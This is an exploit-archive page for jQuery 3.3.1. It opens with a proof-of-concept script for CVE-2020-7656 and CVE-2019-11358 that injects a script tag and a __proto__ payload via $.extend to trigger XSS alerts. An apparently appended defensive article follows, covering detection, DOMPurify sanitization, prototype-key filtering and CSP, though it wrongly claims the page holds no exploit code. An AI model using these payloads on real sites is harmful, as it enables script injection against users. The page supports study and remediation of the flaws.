jQuery 3.3.1 - Prototype Pollution & XSS Exploit

Exploit Author: xOryus Analysis Author: www.bubbleslearn.ir Category: WebApps Language: JavaScript Published Date: 2025-04-08
# Exploit Title: jQuery Prototype Pollution & XSS Exploit (CVE-2019-11358 & CVE-2020-7656)
# Google Dork: N/A
# Date: 2025-02-13
# Exploit Author: xOryus
# Vendor Homepage: https://jquery.com
# Software Link: https://code.jquery.com/jquery-3.3.1.min.js
# Version: 3.3.1
# Tested on: Windows 10, Ubuntu 20.04, Chrome 120, Firefox 112
# CVE : CVE-2019-11358, CVE-2020-7656
# Category: WebApps

# Description:
# This exploit abuses two vulnerabilities in jQuery:
# - CVE-2020-7656: XSS via improper script handling
# - CVE-2019-11358: Prototype Pollution leading to XSS
# By injecting payloads into a vulnerable page using jQuery <3.4.X, attackers can execute arbitrary JavaScript in the victim's browser.
#
# Usage:
# 1. Load this script in a page that includes jQuery 3.3.1
# 2. Observe two XSS alerts via script injection and prototype pollution.

# PoC (Proof of Concept):
# ------------------------------------

/*
 * Exploit for CVE-2020-7656 and CVE-2019-11358
 * Injects malicious JavaScript into a vulnerable page using jQuery <3.4.X
 */
COPY ALL PAYLOAD AND INSERT ON SITE AND IN BROWSER CONSOLE (F12)

// 1. Load vulnerable jQuery (version 3.3.1)
const script = document.createElement('script');
script.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js";
document.head.appendChild(script);

// 2. Function to execute after jQuery is loaded
script.onload = function() {
    console.log("[+] Vulnerable jQuery loaded!");

    // 3. Inject malicious content for XSS (CVE-2020-7656)
    const maliciousContent = "<script>alert('XSS via CVE-2020-7656: ' + document.domain)</script >"; // Space after </script>
    $('body').append(maliciousContent);
    console.log("[+] XSS payload (CVE-2020-7656) injected. Alert will be displayed.");

    // 4. Exploit Prototype Pollution (CVE-2019-11358)
    const defaultConfig = {
        "backLink": "<a href='https://example.com'>Go Back</a>"
    };

    const maliciousParams = {
        "__proto__": {
            "backLink": "<svg onload=alert('XSS via CVE-2019-11358: Prototype Pollution!')>"
        }
    };

    // 5. Merge objects using vulnerable $.extend
    let config = $.extend(true, defaultConfig, maliciousParams);
    console.log("[+] Prototype Pollution executed via $.extend().");

    // 6. Create a container to inject malicious content
    const container = document.createElement('div');
    container.id = 'backLinkContainer';
    document.body.appendChild(container);

    // 7. Inject malicious content into the DOM
    $('#backLinkContainer').html(config.backLink);
    console.log("[+] XSS payload (CVE-2019-11358) injected into the DOM. Alert will be displayed.");
};

// 8. Instruction message
console.log("[*] Script injected. Waiting for jQuery to load...");


jQuery 3.3.1 — Prototype Pollution and XSS: Background, Risks, and Safe Remediation

This article explains the security context around two well-known classes of vulnerabilities that affected older jQuery releases (prototype pollution and DOM-based XSS), outlines the potential impact, and — most importantly — provides secure, non-actionable guidance for detection, mitigation, and remediation. It intentionally avoids exploit code or step‑by‑step attacking instructions and focuses on defensive measures you can apply to protect web applications.

Overview of the issues

  • Prototype pollution: Certain deep-merge utilities (including patterns used in older jQuery) could allow untrusted input to set properties on Object.prototype (for example via keys like "__proto__"). When the prototype chain is polluted, attacker-controlled properties may appear on many objects at runtime, enabling unexpected behavior and sometimes leading to XSS, privilege escalation, or data leaks.
  • DOM-based XSS: Inappropriate handling of HTML strings — inserting untrusted HTML into the DOM without sanitization — can lead to script execution in victim browsers. Libraries that manipulate innerHTML or use HTML prefilters may contribute to these issues if used with untrusted content.

Why these matter for jQuery 3.3.1 users

Older jQuery versions contained behaviors and helper utilities (for example, deep merge semantics and html-handling helpers) that, when combined with unsafe application logic (inserting unsanitized user-controllable strings, merging user-supplied objects into config objects, etc.), increased risk. Applications still using jQuery 3.3.1 or similarly aged releases should consider these risks high-priority to address.

High-level technical explanation (non-actionable)

  • Deep merge utilities (e.g., a recursive extend/merge) that do not filter dangerous keys can inadvertently assign properties to Object.prototype by accepting keys such as "__proto__". Once set, these properties can change behavior of many objects that inherit from Object.prototype.
  • Inserting HTML strings created or influenced by untrusted data directly into the DOM (via innerHTML, jQuery.html(), etc.) can execute scripts if the input contains script-bearing constructs. Proper sanitization and avoidance of unsafe APIs are the primary defenses.

Typical vulnerable patterns (conceptual)

A common unsafe pattern that increases exposure:

  • Merging user-supplied JSON directly into application configuration using a deep merge without filtering.
  • Injecting user-controlled HTML into the page using innerHTML or jQuery.html() without sanitization.

Detection and assessment

Before patching or remediation, inventory and detection are essential:

  • Identify pages and assets that load jQuery (client-side) and note the exact version. A simple, non-actionable check from a console is to read the library version: $.fn && $.fn.jquery.
  • Scan your codebase and third-party scripts for uses of deep merge functions that take untrusted input, and for places that insert HTML into the DOM (innerHTML, jQuery.html(), element.insertAdjacentHTML(), etc.).
  • Perform dependency scanning (software composition analysis) and known vulnerability checks against your front-end dependencies.
// Check jQuery version (read-only, safe)
/* In the browser console you can check the jQuery version safely with: */if (window.jQuery && jQuery.fn) {
  console.log("jQuery version:", jQuery.fn.jquery);
} else {
  console.log("jQuery not present");
}

Explanation: This snippet safely reads and logs the jQuery version without modifying the page. Use it only to inventory versions during assessment.

Tools & techniques for detection

Tool Purpose
Retire.js Scan for known-client-side library vulnerabilities and versions
Snyk / OSS Index / GitHub Dependabot Supply-chain scanning and vulnerability alerts for dependencies
Static analysis Find usages of innerHTML, jQuery.html() and deep merging operations

Mitigations and remediation (safe, actionable guidance)

Focus on three pillars: patching, hardening, and runtime controls.

Patching and updates

  • Update jQuery to a maintained, patched release. The jQuery project has released fixes for prototype-pollution and HTML-handling issues in releases that followed older 3.x branch versions. Always upgrade to the latest stable jQuery version compatible with your application and retest functionality.
  • Update third-party libraries and front-end packages. Apply security updates from package managers and CDNs.

Input sanitation and safe DOM insertion

Never insert untrusted HTML into the DOM without sanitization. Prefer text APIs or a vetted sanitizer such as DOMPurify.

// Safe HTML insertion using DOMPurify (defensive pattern)
const userHtml = /* untrusted input from users or third-party sources */;
const clean = DOMPurify.sanitize(userHtml);
element.innerHTML = clean;

Explanation: DOMPurify is a widely used library to sanitize HTML before inserting it into the DOM. The code removes dangerous elements/attributes, helping prevent DOM-based XSS when inserting user-supplied HTML. Replace direct innerHTML assignments with sanitized content.

Prevent prototype pollution: input filtering

Filter out keys that can alter prototypes before performing merges or object-copy operations. The following is a defensive sanitizer that strips dangerous keys from untrusted objects prior to deep merging.

// Defensive object sanitizer (filter-only; safe, non-exploitative)
function sanitizeObjectForMerge(value) {
  if (value && typeof value === 'object') {
    if (Array.isArray(value)) {
      return value.map(sanitizeObjectForMerge);
    }
    const clean = {};
    for (const k in value) {
      if (!Object.prototype.hasOwnProperty.call(value, k)) continue;
      // Skip keys that target prototypes or constructors
      if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;
      clean[k] = sanitizeObjectForMerge(value[k]);
    }
    return clean;
  }
  return value;
}

// Usage (defensive): sanitize user-supplied object before merging
const safeInput = sanitizeObjectForMerge(untrustedInput);
const merged = $.extend(true, {}, defaultConfig, safeInput); // Only if jQuery must be used

Explanation: This defensive function recursively removes keys commonly used to influence prototypes (e.g., "__proto__") from untrusted inputs before any deep merge. Use it whenever you must merge user-supplied objects with application objects. Prefer updating the library rather than relying solely on input filtering.

Content Security Policy (CSP)

A properly configured CSP reduces the impact of DOM-based XSS by disabling inline scripts and restricting script sources.


// Example CSP header (set on server responses)
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'self'; frame-ancestors 'none';

Explanation: This header restricts where scripts can be loaded from and blocks plugins/objects. A strict CSP helps mitigate the consequences of injected script execution, but it is not a substitute for patching and sanitization.

Detection and incident response

  • Search web logs and application telemetry for anomalous payloads or unexpected requests that may indicate attempted exploitation (suspicious POST bodies, unusual parameters).
  • Isolate affected assets, replace compromised files or pages with clean versions, and re-deploy dependencies from trusted sources.
  • Rotate credentials and any session tokens that may have been exposed, and perform a code review to determine the root cause.

Secure development practices to prevent similar classes of bugs

  • Keep third-party libraries up to date and subscribe to vulnerability advisories relevant to your stack.
  • Avoid deep-merging untrusted input directly into application objects. If merging is necessary, sanitize inputs to remove "__proto__", "constructor", and similar keys.
  • Always sanitize or validate HTML content coming from users before insertion. Prefer text-only APIs (textContent / jQuery.text()) when HTML is not needed.
  • Employ CSP, a secure build pipeline, and SCA tools as part of CI/CD to prevent vulnerable libraries from reaching production.
  • Use security-focused code reviews and threat-modeling for new features that accept or render user content.

References and further reading

  • jQuery project release notes and security advisories — consult the official jQuery site and changelogs when planning upgrades.
  • DOMPurify documentation — for robust client-side HTML sanitization.
  • Dependency scanning tools (Retire.js, Snyk, Dependabot) — for continuous monitoring of third-party libraries.

Summary: If your application still loads jQuery 3.3.1 (or other unpatched releases), prioritize upgrading to a maintained release, sanitize inputs and HTML, filter untrusted object keys before merges, and apply runtime protections like CSP. These combined measures will significantly reduce the risk of prototype pollution and DOM-based XSS.